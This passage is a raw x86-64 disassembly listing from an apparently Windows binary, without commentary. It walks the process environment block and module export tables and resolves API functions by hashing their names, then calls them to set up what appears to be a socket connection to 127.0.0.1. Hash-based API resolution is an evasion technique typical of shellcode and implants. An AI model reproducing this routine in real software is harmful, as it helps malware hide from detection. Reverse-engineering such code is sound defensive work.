add rdx, 0x10
mov qword [rsp + 0x30], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e8ae
cmp qword [rcx + 0x60], 0
je 0x14001cd43
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001cd43
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e887
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001cc4f
cmp dword [rax + 0x8c], 0
jbe 0x14001cd43
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001cd3a
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001cce9
mov r12d, r8d
nop word [rax + rax]
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001cc90
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x10723117
je 0x14001ccf5
inc ebx
cmp ebx, r12d
jae 0x14001cd30
jmp 0x14001cc5f
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001cd30
cmp rsi, rcx
jb 0x14001cd4b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
test rsi, rsi
jne 0x14001cdde
mov rcx, qword [rcx]
jmp 0x14001cbe9
mov r10, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001cd70
inc rsi
cmp r8b, 0x2e
jne 0x14001cd63
mov r10, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001cd57
movzx r8d, byte [r10]
mov r11d, 0x2bf7cf4a
mov r9d, r11d
test r8b, r8b
je 0x14001cdcc
nop
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r14 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r14d
test r14d, r14d
cmove eax, r11d
xor eax, r11d
imul r9d, eax
add r9d, edx
inc r14d
movzx r8d, byte [r14 + r10]
test r8b, r8b
jne 0x14001cd80
mov edx, r9d
lea rcx, [rbp + 0x8b5]
call fcn.14001ef80
mov rsi, rax
call rsi
nop
jmp 0x14001e401
mov word [rbp + 0x900], bx
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001ebba
cmp qword [rcx + 0x60], 0
je 0x14001cf63
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001cf63
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001eb93
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001ce6f
cmp dword [rax + 0x8c], 0
jbe 0x14001cf63
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001cf5a
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001cf09
mov r12d, r8d
nop word [rax + rax]
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001ceb0
mov r12d, dword [r13 + 0x18]
cmp r8d, 0xf1df53f3
je 0x14001cf15
inc ebx
cmp ebx, r12d
jae 0x14001cf50
jmp 0x14001ce7f
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001cf50
cmp rsi, rcx
jb 0x14001cf6b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001cffc
mov rcx, qword [rcx]
jmp 0x14001ce09
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001cf90
inc rsi
cmp r8b, 0x2e
jne 0x14001cf83
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001cf77
movzx r8d, byte [r11]
mov ebx, 0x2bf7cf4a
mov r9d, ebx
mov r10d, r14d
test r8b, r8b
je 0x14001cfea
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, ebx
xor eax, ebx
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001cfa0
mov edx, r9d
lea rcx, [rbp + 0x8ad]
call fcn.14001ef80
mov rsi, rax
mov ecx, 0x2387
call rsi
nop
mov word [rbp + 0x902], ax
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001eb6c
cmp qword [rcx + 0x60], 0
je 0x14001d183
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001d183
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001eb45
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001d08d
cmp dword [rax + 0x8c], 0
jbe 0x14001d183
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001d17a
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001d129
mov r12d, r8d
nop dword [rax]
nop dword [rax + rax]
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001d0d0
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x977ff31c
je 0x14001d135
inc ebx
cmp ebx, r12d
jae 0x14001d170
jmp 0x14001d09d
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001d170
cmp rsi, rcx
jb 0x14001d18b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001d21c
mov rcx, qword [rcx]
jmp 0x14001d027
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001d1b0
inc rsi
cmp r8b, 0x2e
jne 0x14001d1a3
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001d197
movzx r8d, byte [r11]
mov ebx, 0x2bf7cf4a
mov r9d, ebx
mov r10d, r14d
test r8b, r8b
je 0x14001d20a
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, ebx
xor eax, ebx
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001d1c0
mov edx, r9d
lea rcx, [rbp + 0x8b9]
call fcn.14001ef80
mov rsi, rax
lea r8, [rbp + 0x904]
lea rdx, str.127.0.0.1
mov ecx, 2
call rsi
nop
mov rcx, qword gs:[0x60]
test eax, eax
jg 0x14001d666
mov rdx, qword [rcx + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e94a
cmp qword [rcx + 0x60], 0
je 0x14001d3b3
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001d3b3
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e923
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001d2bc
cmp dword [rax + 0x8c], 0
jbe 0x14001d3b3
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001d3aa
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001d359
mov r12d, r8d
nop dword [rax]
nop word [rax + rax]
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001d300
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x7a329ef4
je 0x14001d365
inc ebx
cmp ebx, r12d
jae 0x14001d3a0
jmp 0x14001d2cc
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001d3a0
cmp rsi, rcx
jb 0x14001d3bb
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001d44c
mov rcx, qword [rcx]
jmp 0x14001d256
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001d3e0
inc rsi
cmp r8b, 0x2e
jne 0x14001d3d3
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001d3c7
movzx r8d, byte [r11]
mov ebx, 0x2bf7cf4a
mov r9d, ebx
mov r10d, r14d
test r8b, r8b
je 0x14001d43a
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, ebx
xor eax, ebx
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001d3f0
mov edx, r9d
lea rcx, [rbp + 0x8b8]
call fcn.14001ef80
mov rsi, rax
mov rcx, qword [rsp + 0x30]
call rsi
nop
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x30], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e8fc
cmp qword [rcx + 0x60], 0
je 0x14001d5c3
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001d5c3
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e8d5
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001d4d6
cmp dword [rax + 0x8c], 0
jbe 0x14001d5c3
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001d5ba
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001d569
mov r12d, r8d
nop dword [rax]
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001d510
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x10723117
je 0x14001d575
inc ebx
cmp ebx, r12d
jae 0x14001d5b0
jmp 0x14001d4e6
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001d5b0
cmp rsi, rcx
jb 0x14001d5cb
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
test rsi, rsi
jne 0x14001d65e
mov rcx, qword [rcx]
jmp 0x14001d470
mov r10, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001d5f0
inc rsi
cmp r8b, 0x2e
jne 0x14001d5e3
mov r10, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001d5d7
movzx r8d, byte [r10]
mov r11d, 0x2bf7cf4a
mov r9d, r11d
test r8b, r8b
je 0x14001d64c
nop
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r14 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r14d
test r14d, r14d
cmove eax, r11d
xor eax, r11d
imul r9d, eax
add r9d, edx
inc r14d
movzx r8d, byte [r14 + r10]
test r8b, r8b
jne 0x14001d600
mov edx, r9d
lea rcx, [rbp + 0x8b7]
call fcn.14001ef80
mov rsi, rax
call rsi
nop
jmp 0x14001e401
mov rdx, qword [rcx + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001eb1e
cmp qword [rcx + 0x60], 0
je 0x14001d7d3
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001d7d3
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001eaf7
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001d6df
cmp dword [rax + 0x8c], 0
jbe 0x14001d7d3
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001d7ca
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001d779
mov r12d, r8d
nop word [rax + rax]
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001d720
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x56433fc
je 0x14001d785
inc ebx
cmp ebx, r12d
jae 0x14001d7c0
jmp 0x14001d6ef
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001d7c0
cmp rsi, rcx
jb 0x14001d7db
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001d86c
mov rcx, qword [rcx]
jmp 0x14001d679
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001d800
inc rsi
cmp r8b, 0x2e
jne 0x14001d7f3
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001d7e7
movzx r8d, byte [r11]
mov ebx, 0x2bf7cf4a
mov r9d, ebx
mov r10d, r14d
test r8b, r8b
je 0x14001d85a
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, ebx
xor eax, ebx
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001d810
mov edx, r9d
lea rcx, [rbp + 0x8b6]
call fcn.14001ef80
mov rsi, rax
mov r8d, 0x10
lea rdx, [rbp + 0x900]
mov rcx, qword [rsp + 0x30]
call rsi
nop
test eax, eax
jns 0x14001dcb6
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e9e6
cmp qword [rcx + 0x60], 0
je 0x14001d9f5
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001d9f5
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e9bf
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001d90b
cmp dword [rax + 0x8c], 0
jbe 0x14001d9f5
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001d9ec
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001d99b
mov r12d, r8d
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001d942
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x7a329ef4
je 0x14001d9a7
inc ebx
cmp ebx, r12d
jae 0x14001d9e2
jmp 0x14001d91b
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001d9e2
cmp rsi, rcx
jb 0x14001d9fd
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x48]
test rsi, rsi
jne 0x14001da9c
mov rcx, qword [rcx]
jmp 0x14001d8a5
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001da29
nop dword [rax]
inc rsi
cmp r8b, 0x2e
jne 0x14001da1c
mov r11, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001da10
movzx r8d, byte [r11]
mov ebx, 0x2bf7cf4a
mov r9d, ebx
mov r10d, r14d
test r8b, r8b
je 0x14001da8a
nop dword [rax]
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, ebx
xor eax, ebx
imul r9d, eax
add r9d, edx
inc r10d
movzx r8d, byte [r10 + r11]
test r8b, r8b
jne 0x14001da40
mov edx, r9d
lea rcx, [rbp + 0x8b4]
call fcn.14001ef80
mov rsi, rax
mov rcx, qword [rsp + 0x30]
call rsi
nop
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x30], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001e998
cmp qword [rcx + 0x60], 0
je 0x14001dc13
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001dc13
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001e971
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001db26
cmp dword [rax + 0x8c], 0
jbe 0x14001dc13
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001dc0a
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001dbb9
mov r12d, r8d
nop dword [rax]
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001db60
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x10723117
je 0x14001dbc5
inc ebx
cmp ebx, r12d
jae 0x14001dc00
jmp 0x14001db36
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
mov esi, dword [rcx + rax*4]
add rsi, rdi
mov rcx, qword [rsp + 0x50]
mov rcx, qword [rcx + 0x88]
mov eax, ecx
add rax, rdi
shr rcx, 0x20
add rcx, rax
cmp rsi, rax
jb 0x14001dc00
cmp rsi, rcx
jb 0x14001dc1b
mov rcx, qword [rsp + 0x40]
mov rdx, qword [rsp + 0x30]
test rsi, rsi
jne 0x14001dcae
mov rcx, qword [rcx]
jmp 0x14001dac0
mov r10, rsi
movzx r8d, byte [rsi]
test r8b, r8b
je 0x14001dc40
inc rsi
cmp r8b, 0x2e
jne 0x14001dc33
mov r10, rsi
movzx r8d, byte [rsi]
test r8b, r8b
jne 0x14001dc27
movzx r8d, byte [r10]
mov r11d, 0x2bf7cf4a
mov r9d, r11d
test r8b, r8b
je 0x14001dc9c
nop
movsx edx, r8b
sub r8b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r8b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r14 + 0x2bf7cf4a]
imul ecx, edx
xor r9d, edx
add r9d, ecx
mov eax, r14d
test r14d, r14d
cmove eax, r11d
xor eax, r11d
imul r9d, eax
add r9d, edx
inc r14d
movzx r8d, byte [r14 + r10]
test r8b, r8b
jne 0x14001dc50
mov edx, r9d
lea rcx, [rbp + 0x8b3]
call fcn.14001ef80
mov rsi, rax
call rsi
nop
jmp 0x14001e401
mov dword [rbp + 0x8d0], r14d
lea r8, [rbp + 0x8d4]
lea r9, [rbp + 0x8d4]
lea r10, str.0123456789abcdefghijklmnopqrstuvwxyz
mov r14d, dword [rsp + 0x38]
nop word [rax + rax]
mov r11d, r14d
mov eax, 0x66666667
imul r14d
mov r14d, edx
sar r14d, 2
mov eax, r14d
shr eax, 0x1f
add r14d, eax
lea ecx, [r14 + r14*4]
add ecx, ecx
mov eax, r11d
sub eax, ecx
movsxd rcx, eax
movzx eax, byte [rcx + r10]
mov byte [r8], al
inc r8
test r14d, r14d
jne 0x14001dce0
test r11d, r11d
mov r14d, 0
jns 0x14001dd2b
mov byte [r8], 0x2d
inc r8
mov byte [r8], r14b
dec r8
lea rax, [rbp + 0x8d4]
cmp rax, r8
jae 0x14001dd59
nop dword [rax]
movzx ecx, byte [r8]
movzx eax, byte [r9]
mov byte [r8], al
dec r8
mov byte [r9], cl
inc r9
cmp r9, r8
jb 0x14001dd40
mov rax, qword gs:[0x60]
mov rdx, qword [rax + 0x18]
add rdx, 0x10
mov qword [rsp + 0x48], rdx
mov rsi, r14
mov rcx, qword [rdx]
cmp rcx, rdx
mov qword [rsp + 0x40], rcx
je 0x14001ead0
cmp qword [rcx + 0x60], 0
je 0x14001dec5
mov rdi, qword [rcx + 0x30]
test rdi, rdi
je 0x14001dec5
movsxd rax, dword [rdi + 0x3c]
add rax, rdi
mov qword [rsp + 0x50], rax
mov r13d, dword [rax + 0x88]
add r13, rdi
mov r8d, 0x5a4d
cmp word [rdi], r8w
jne 0x14001eaa9
mov r8d, 0x20b
cmp word [rax + 0x18], r8w
jne 0x14001dddb
cmp dword [rax + 0x8c], 0
jbe 0x14001dec5
mov ebx, r14d
mov r12d, dword [r13 + 0x18]
test r12d, r12d
je 0x14001debc
mov eax, dword [r13 + 0x20]
mov r15d, ebx
lea rax, [rax + r15*4]
mov r11d, dword [rax + rdi]
add r11, rdi
mov r8d, 0x2bf7cf4a
mov r10d, r14d
movzx r9d, byte [r11]
test r9b, r9b
je 0x14001de6b
mov r12d, r8d
movsx edx, r9b
sub r9b, 0x41
lea eax, [rdx + 0x20]
movzx ecx, al
movzx eax, dl
cmp r9b, 0x19
cmova ecx, eax
movsx edx, cl
lea ecx, [r10 + 0x2bf7cf4a]
imul ecx, edx
xor r8d, edx
add r8d, ecx
mov eax, r10d
test r10d, r10d
cmove eax, r12d
xor eax, r12d
imul r8d, eax
add r8d, edx
inc r10d
movzx r9d, byte [r10 + r11]
test r9b, r9b
jne 0x14001de12
mov r12d, dword [r13 + 0x18]
cmp r8d, 0x61423502
je 0x14001de77
inc ebx
cmp ebx, r12d
jae 0x14001deb2
jmp 0x14001ddeb
mov ecx, dword [r13 + 0x1c]
add rcx, rdi
mov eax, dword [r13 + 0x24]
add rax, rdi
movzx eax, word [rax + r15*2]
